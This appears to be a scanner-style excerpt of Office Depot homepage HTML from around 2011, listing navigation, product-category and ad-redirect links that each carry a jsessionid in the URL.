<p><a id="v2_nav_technology_2" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=15085&redirect=false">$399.99 after $130 instant savings Toshiba Laptop</a>
...[SNIP]...
<p><a id="v2_nav_technology_3" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=10170&redirect=false">Check Out This Week's Tech Deals</a>
...[SNIP]...
<h2>
       <a href="/a/browse/furniture/N=5+917/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a1"><span>
...[SNIP]...
<h4><a href="/a/browse/bookcases/N=5+483114/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Bookcases</a>
...[SNIP]...
<li><a href="/a/browse/metal-bookcases/N=5+483117/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Metal Bookcases</a>
...[SNIP]...
<li><a href="/a/browse/wall-units/N=5+501439/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Wall Units</a>
...[SNIP]...
<li><a href="/a/browse/wood-bookcases/N=5+483123/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Wood Bookcases</a>
...[SNIP]...
<li><a href="/a/browse/bookcases/N=5+483114/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/carts-and-stands/N=5+501476/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Carts & Stands</a>
...[SNIP]...
<li><a href="/a/browse/computer-carts/N=5+501479/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Computer Carts</a>
...[SNIP]...
<li><a href="/a/browse/tv-carts-and-stands/N=5+501488/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">TV Carts & Stands</a>
...[SNIP]...
<li><a href="/a/browse/utility-and-book-carts/N=5+501491/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Utility & Book Carts</a>
...[SNIP]...
<li><a href="/a/browse/carts-and-stands/N=5+501476/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/chairs/N=5+501503/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Chairs</a>
...[SNIP]...
<li><a href="/a/browse/folding-and-stacking-chairs/N=5+501504/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Folding & Stacking Chairs</a>
...[SNIP]...
<li><a href="/a/browse/office-chairs/N=5+501507/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Office Chairs</a>
...[SNIP]...
<li><a href="/a/browse/reception-seating/N=5+501516/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Reception Seating</a>
...[SNIP]...
<li><a href="/a/browse/chairs/N=5+501503/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/desks-and-workstations/N=5+501545/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Desks & Workstations</a>
...[SNIP]...
<li><a href="/a/browse/commercial-grade-desks/N=5+501546/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Commercial Grade Desks</a>
...[SNIP]...
<li><a href="/a/browse/small-officehome-office-desks/N=5+501556/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Small Office/Home Office Desks</a>
...[SNIP]...
<li><a href="/a/browse/specialty-desking/N=5+501568/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Specialty Desking</a>
...[SNIP]...
<li><a href="/a/browse/desks-and-workstations/N=5+501545/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/filing-storage-and-shelving/N=5+501570/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Filing, Storage & Shelving</a>
...[SNIP]...
<li><a href="/a/browse/lateral-file-cabinets/N=5+501573/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Lateral File Cabinets</a>
...[SNIP]...
<li><a href="/a/browse/specialty-filesstorage/N=5+501578/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Specialty Files/Storage</a>
...[SNIP]...
<li><a href="/a/browse/vertical-file-cabinets/N=5+501584/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Vertical File Cabinets</a>
...[SNIP]...
<li><a href="/a/browse/filing-storage-and-shelving/N=5+501570/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/furniture-collections/N=5+501588/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Furniture Collections</a>
...[SNIP]...
<li><a href="/a/browse/christopher-lowell-furniture-collections/N=5+501589/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Christopher Lowell Furniture Collections</a>
...[SNIP]...
<li><a href="/a/browse/modular-furniture-collections/N=5+501802/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Modular Furniture Collections</a>
...[SNIP]...
<li><a href="/a/browse/wood-veneer-furniture-collections/N=5+501822/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Wood Veneer Furniture Collections</a>
...[SNIP]...
<li><a href="/a/browse/furniture-collections/N=5+501588/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<li>
               <a href="/a/browse/bookcases/N=5+483114/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Bookcases</a>
...[SNIP]...
<li>
               <a href="/a/browse/carts-and-stands/N=5+501476/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Carts & Stands</a>
...[SNIP]...
<li>
               <a href="/a/browse/chair-and-floor-mats/N=5+501493/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Chair & Floor Mats</a>
...[SNIP]...
<li>
               <a href="/a/browse/chairs/N=5+501503/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Chairs</a>
...[SNIP]...
<li>
               <a href="/a/browse/desk-and-wall-accessories/N=5+504392/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Desk & Wall Accessories</a>
...[SNIP]...
<li>
               <a href="/a/browse/desks-and-workstations/N=5+501545/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Desks & Workstations</a>
...[SNIP]...
<li>
               <a href="/a/browse/decor-and-accessories/N=5+501525/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">D..cor & Accessories</a>
...[SNIP]...
<li>
               <a href="/a/browse/filing-storage-and-shelving/N=5+501570/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Filing, Storage & Shelving</a>
...[SNIP]...
<li>
               <a href="/a/browse/furniture-collections/N=5+501588/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Furniture Collections</a>
...[SNIP]...
<li>
               <a href="/a/browse/lighting/N=5+501877/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Lighting</a>
...[SNIP]...
<li>
               <a href="/a/browse/panel-and-cubicle-systems/N=5+501895/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Panel & Cubicle Systems</a>
...[SNIP]...
<li>
               <a href="/a/browse/safes/N=5+501903/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Safes</a>
...[SNIP]...
<li>
               <a href="/a/browse/tables/N=5+501910/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Tables</a>
...[SNIP]...
<p><a id="v2_nav_furniture_1" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=15087&redirect=false">$49.99 after $30.00 Instant Savings Ruvia Mid-Back Chair</a>
...[SNIP]...
<h2><a href="/a/business-resource-center/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a1"><span>
...[SNIP]...
<h4><a href="/a/browse/custom-printing/N=5+2930/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Custom Printing</a>
...[SNIP]...
<li><a href="/a/browse/business-cards/N=5+2949/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Business Cards</a>
...[SNIP]...
<li><a href="/a/browse/stamps-and-daters/N=5+3034/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Stamps & Daters</a>
...[SNIP]...
<li><a href="/a/browse/stationery/N=5+2930+378259/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Stationery</a>
...[SNIP]...
<li><a href="/a/browse/custom-printing/N=5+2930/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/promotional-products/N=5+4581/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Promotional Products</a>
...[SNIP]...
<li><a href="/a/browse/business-and-desk/N=5+4800/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Business & Desk</a>
...[SNIP]...
<li><a href="/a/browse/custom-pens-and-pencils/N=5+5276/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Pens & Pencils</a>
...[SNIP]...
<li><a href="/a/browse/custom-drinkware/N=5+4970/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Drinkware</a>
...[SNIP]...
<li><a href="/a/browse/promotional-products/N=5+4581/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/business-resource-center/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Business Resource Center</a>
...[SNIP]...
<li><a href="/a/design-print-and-ship/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Document & Copy Services</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/content/businesstools/forms/default.jsp" class="">Business Form Templates</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/content/businesstools/sbh/default.jsp" class="">Small Business Handbook</a>
...[SNIP]...
<li><a href="/a/business-resource-center/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/security-solutions/N=5+8612/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Security Solutions</a>
...[SNIP]...
<li><a href="/shred;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">In-Store Shredding Service</a>
...[SNIP]...
<li><a href="/a/browse/property-damage-solutions/N=5+319645/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Property Damage Protection</a>
...[SNIP]...
<li><a href="/a/browse/solutions-for-prevention-of-online-threats/N=5+510451/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Prevention of Online Threats</a>
...[SNIP]...
<li><a href="/a/browse/security-solutions/N=5+8612/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/promo/pages/0928_tech/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Tech Depot Services</a>
...[SNIP]...
<li><a href="/a/browse/repair-upgrade-services/N=5+509889/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Repair & Upgrade Your Computer</a>
...[SNIP]...
<li><a href="/a/browse/network-services/N=5+509887/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Connect Your Wireless Network</a>
...[SNIP]...
<li><a href="/a/promo/pages/0928_tech/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/businesscenter/odservicesBody.jsp&template=customerservice" class="">Partner Services</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/businesscenter/partners/fax2mail.jsp" class="">Fax Via Email</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/businesscenter/partners/bbnational.jsp" class="">High Speed Internet</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/promo/pages/0127_google.jsp" class="">Google Business Resource Center</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/businesscenter/odservicesBody.jsp&template=customerservice" class="see_all">See all</a>
...[SNIP]...
<li class=""><a href="/a/business-resource-center/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Business Resource Center</a>
...[SNIP]...
<li><a href="/a/browse/custom-printing/N=5+2930/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Custom Printing</a>
...[SNIP]...
<li><a href="/a/design-print-and-ship/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Copy & Print Depot</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/businesscenter/odservicesBody.jsp&template=customerservice">Partner Services</a>
...[SNIP]...
<li><a href="/a/browse/promotional-products/N=5+4581/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Promotional Products</a>
...[SNIP]...
<li><a href="/a/browse/security-solutions/N=5+8612/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Security Solutions</a>
...[SNIP]...
<li><a href="/a/promo/pages/0928_tech/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Tech Depot Services</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/promo/pages/0928_recycling.jsp&template=customerservice">Tech Recycling</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/webcafe/main.jsp">Webcafe</a>
...[SNIP]...
<h2>


                                                   <a href="https://www.officedepot.com/account/accountSummaryDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a1 accountLogin">My Account</a>
...[SNIP]...
<li>


                   <a href="https://www.officedepot.com/account/accountSummaryDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="accountLogin">My Account Overview</a>
...[SNIP]...
<li>
                       <a href="https://www.officedepot.com/account/editContactDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?&jtime=1296945586619&jvalidator=0LZRn7nZBtpSf1zW%2FdLvww%3D%3D" class="accountLogin">Account Settings</a>
...[SNIP]...
<li>
                               <a href="https://www.officedepot.com/orderhistory/orderHistoryList.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Order Tracking/History</a>
...[SNIP]...
<li>
                       <a href="https://www.officedepot.com/account/editBillingDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="accountLogin">Payment Preferences</a>
...[SNIP]...
<li>
                       <a href="https://www.officedepot.com/account/shippingListDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="accountLogin">Address Book</a>
...[SNIP]...
<li>
                           <a href="/csl/listAll.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?&jtime=1296945586622&jvalidator=kJVhpO3lSkj7ReJGrcSCNQ%3D%3D" class="accountLogin">Shopping Lists</a>
...[SNIP]...
<li>
                           <a href="https://www.officedepot.com/orderhistory/submitReturn.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?searchFromDate=01/06/2011&searchToDate=02/05/2011" class="accountLogin">Submit Return</a>
...[SNIP]...
<li class="first"><a href="/a/ink-toner-and-ribbons/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Ink & Toner</a>
...[SNIP]...
<li><a href="/a/browse/paper-forms-envelopes/N=5+4072/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Paper</a>
...[SNIP]...
<li id='seeAll'>
                       <a href="/catalog/AZ.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">View All Products A-Z</a>
...[SNIP]...
<li class=""><a href="https://www.officedepot.com/orderhistory/orderHistoryAnonDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Order Tracking</a>
...[SNIP]...
<li class="map"><a href="/a/site-map/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Visit Site Map</a>
...[SNIP]...
<span id='exploreSmartShopping'><a id="azAd2" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=10207&redirect=false">Products by Name</a>
...[SNIP]...
<span id='pppAndLeasingOptions'><a id="azAd3" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=10206&redirect=false" onclick="window.open('/adRedir.do?ciid=10206&redirect=false','OfficeDepot','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=1,resizable=1,width=520,height=520');return false" TARGET=_BLANK>Product Plans & Leasing Options</a>
...[SNIP]...
<div id="miniBanner">
       <a id="v2_home_minibanner" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=15131&cm_re=HOME-_-TopMiniBanner-_-WK6TechAccessoriesTopBanner_20110204_20110206&cm_sp=Tiles013011-_-v2_home_minibanner-_-WK6TechAccessoriesTopBanner_20110204_20110206&redirect=false"><img src="http://static.www.odcdn.com/images/us/od/tiles/020611_948x48_topbanner_tech_accessnew.jpg" height="48" width="948" border="0" alt="Save up to 70% on Tech Accessories">
...[SNIP]...
<div class="accordionContents initialOpen">
               <a id="v2_accordion_ad1" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=15081&cm_re=HOME-_-AccordionAd1-_-WK6WeeklyAd_20110130_20110206&cm_sp=Tiles013011-_-v2_accordion_ad1-_-WK6WeeklyAd_20110130_20110206&redirect=false" TARGET=_BLANK><img src="http://static.www.odcdn.com/images/us/od/tiles/013011_150x60_weekly.gif" height="60" width="150" border="0" alt="Weekly Deals">
...[SNIP]...
<li><a id="v2_accordion_section_1_1" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=10156&cm_re=HOME-_-AccordionAd1_1-_-WK24SSOnlineDeals_20090611_20140629&cm_sp=Longer Living Tiles-_-v2_accordion_section_1_1-_-WK24SSOnlineDeals_20090611_20140629&redirect=false"><b>
...[SNIP]...
<li><a id="v2_accordion_section_1_2" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=10157&cm_re=HOME-_-AccordionAd1_2-_-WK24SSRebateCenter_20090611_20140629&cm_sp=Longer Living Tiles-_-v2_accordion_section_1_2-_-WK24SSRebateCenter_20090611_20140629&redirect=true">Rebate Center</a>
...[SNIP]...
<li><a id="v2_accordion_section_1_3" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=10158&cm_re=HOME-_-AccordionAd1_3-_-WK24SSClearanceCenter_20090611_20140629&cm_sp=Longer Living Tiles-_-v2_accordion_section_1_3-_-WK24SSClearanceCenter_20090611_20140629&redirect=false">Clearance Center</a>
...[SNIP]...
<div class="accordionContents">
               <a id="v2_accordion_ad2" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=13677&cm_re=HOME-_-AccordionAd2-_-WK38Facebook_20100910_20110910&cm_sp=Tiles091210-_-v2_accordion_ad2-_-WK38Facebook_20100910_20110910&redirect=true"><img src="http://static.www.odcdn.com/images/us/od/tiles/091210_150x60_facebook.gif" height="60" width="150" border="0" alt="Let's Be Friends!">
...[SNIP]...
<li><a id="v2_accordion_section_2_1" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=15091&cm_re=HOME-_-AccordionAd2_1-_-WK6ExclusiveOffer1_20110130_20110206&cm_sp=Tiles013011-_-v2_accordion_section_2_1-_-WK6ExclusiveOffer1_20110130_20110206&redirect=false">Get a ream of HP All In One for Only $6.99</a>
...[SNIP]...
<li><a id="v2_accordion_section_2_2" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=15092&cm_re=HOME-_-AccordionAd2_2-_-WK6ExclusiveOffer2_20110130_20110206&cm_sp=Tiles013011-_-v2_accordion_section_2_2-_-WK6ExclusiveOffer2_20110130_20110206&redirect=false">Realspace Dawson Computer Desk $99.99 after $80.00 Instant Savings</a>
...[SNIP]...
<li><a id="v2_accordion_section_3_1" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=10159&cm_re=HOME-_-AccordionAd3_1-_-WK24STODBrandProd_20090611_20140629&cm_sp=Longer Living Tiles-_-v2_accordion_section_3_1-_-WK24STODBrandProd_20090611_20140629&redirect=false">Office Depot Brand Products</a>
...[SNIP]...
<li><a id="v2_accordion_section_3_2" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=10160&cm_re=HOME-_-AccordionAd3_2-_-WK24STProductsAZ_20090611_20140629&cm_sp=Longer Living Tiles-_-v2_accordion_section_3_2-_-WK24STProductsAZ_20090611_20140629&redirect=false">Products A-Z</a>
...[SNIP]...
<li><a id="v2_accordion_section_3_3" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=10161&cm_re=HOME-_-AccordionAd3_3-_-WK24STWLR_20090611_20140629&cm_sp=Longer Living Tiles-_-v2_accordion_section_3_3-_-WK24STWLR_20090611_20140629&redirect=true">Worklife Rewards</a>
...[SNIP]...
<div id="inkDepotHome" class="modStyle5"><a href="/catalog/inkDepot.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class=""><img src="http://static.www.odcdn.com/images/us/od/title_ink_depot.gif" alt="Ink Depot" title="Ink Depot" class="box_title" />
...[SNIP]...
<li class=""><a href="/catalog/inkDepot.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?page=pb#manufId:Select%20Printer%20Brand/">Shop Office Depot Brand Ink & Toner</a>
...[SNIP]...
<h3 class="modStyle5"><a href="/catalog/search.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?Ntt=paper" class=""><img src="http://static.www.odcdn.com/images/us/od/title_box2.gif" alt="Paper Depot" title="Paper Depot" class="box_title" />
...[SNIP]...
<li class=""><a href="/promo.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/guides/paper/paper1.jsp">Paper Buyer's Guide</a>
...[SNIP]...
<li><a href="/a/browse/paper-forms-envelopes/N=5+4072/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?hijack=paper&type=Search">Shop Paper Depot</a>
...[SNIP]...
<h3 class="modStyle5">


               <a href="/a/design-print-and-ship/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="realestate Home-_-DPS-_-DesignAndPrint"><img src="http://static.www.odcdn.com/images/us/od/title_dps_depot.gif" alt="Document & Copy Services" title="Document & Copy Services" class="box_title" />
...[SNIP]...
<li class=""><a href="/a/design-print-and-ship/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Document & Copy Services</a>
...[SNIP]...
<li><a href="/a/browse/custom-printing/N=5+2930/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">FREE Delivery on Custom Business Cards</a>
...[SNIP]...
<li>
    <a href="/a/browse/stamps-and-daters/N=5+3034/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?cm_re=Home-_-DPS-_-Custommprinting" class="">Custom Stamps</a>
...[SNIP]...
<li>
    <a href="/a/browse/promotional-products/N=5+4581&Ne=100/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="realestate Home-_-DPS-_-PromotionalProducts">Promotional Products</a>
...[SNIP]...
<li class=""><a href="/a/promo/pages/0928_tech/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Services</a>
...[SNIP]...
<h3 class="modStyle5"><a href="/a/business-resource-center/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class=""><img src="http://static.www.odcdn.com/images/us/od/title_box5.gif" alt="Business Resource Center" title="Business Resource Center" class="box_title" />
...[SNIP]...
<li class=""><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/businesscenter/legislation.jsp"><font color="red">
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/content/businesstools/sbh/default.jsp">Free Business Handbook</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/content/businesstools/sbh/default.jsp">Free Business Forms</a>
...[SNIP]...
<li><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/webcafe/main.jsp">Webcafe</a>
...[SNIP]...
<div id="banners6">
               <a id="v2_home_ad5" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=15059&cm_re=HOME-_-Spot5Home-_-WK6FellowesShreddersHome_20110131_20110206&cm_sp=Tiles013011-_-v2_home_ad5-_-WK6FellowesShreddersHome_20110131_20110206&redirect=false"><img src="http://static.www.odcdn.com/images/us/od/tiles/013011_180x132_shredder.gif" height="132" width="180" border="0" alt="Save up to $30 on Shredders"></a>


               <a id="v2_home_ad8" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=15075&cm_re=HOME-_-Spot8Home-_-WK6MSILaptopHome_20110131_20110206&cm_sp=Tiles013011-_-v2_home_ad8-_-WK6MSILaptopHome_20110131_20110206&redirect=false"><img src="http://static.www.odcdn.com/images/us/od/tiles/013011_180x132_msi_comp.gif" height="132" width="180" border="0" alt="$429.99 After $120 Savings on MSI Laptop"></a>
               <a id="v2_home_ad9" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=15000&cm_re=HOME-_-Spot9Home-_-WK5BusinessCards_20110123_20110213&cm_sp=Tiles012311-_-v2_home_ad9-_-WK5BusinessCards_20110123_20110213&redirect=false"><img src="http://static.www.odcdn.com/images/us/od/tiles/012311_180x132_bus_cards.gif" height="132" width="180" border="0" alt="$10 Off Business Cards">
...[SNIP]...
<h5><a href="/purchaseGiftCard.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Gift Cards</a>
...[SNIP]...
<p><a href="/purchaseGiftCard.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Buy a Gift Card</a>
...[SNIP]...
<h5><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/creditcard/creditcard.jsp" class="">Credit Cards</a>
...[SNIP]...
<p><a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/creditcard/creditcard.jsp" class="">Learn More</a>
...[SNIP]...
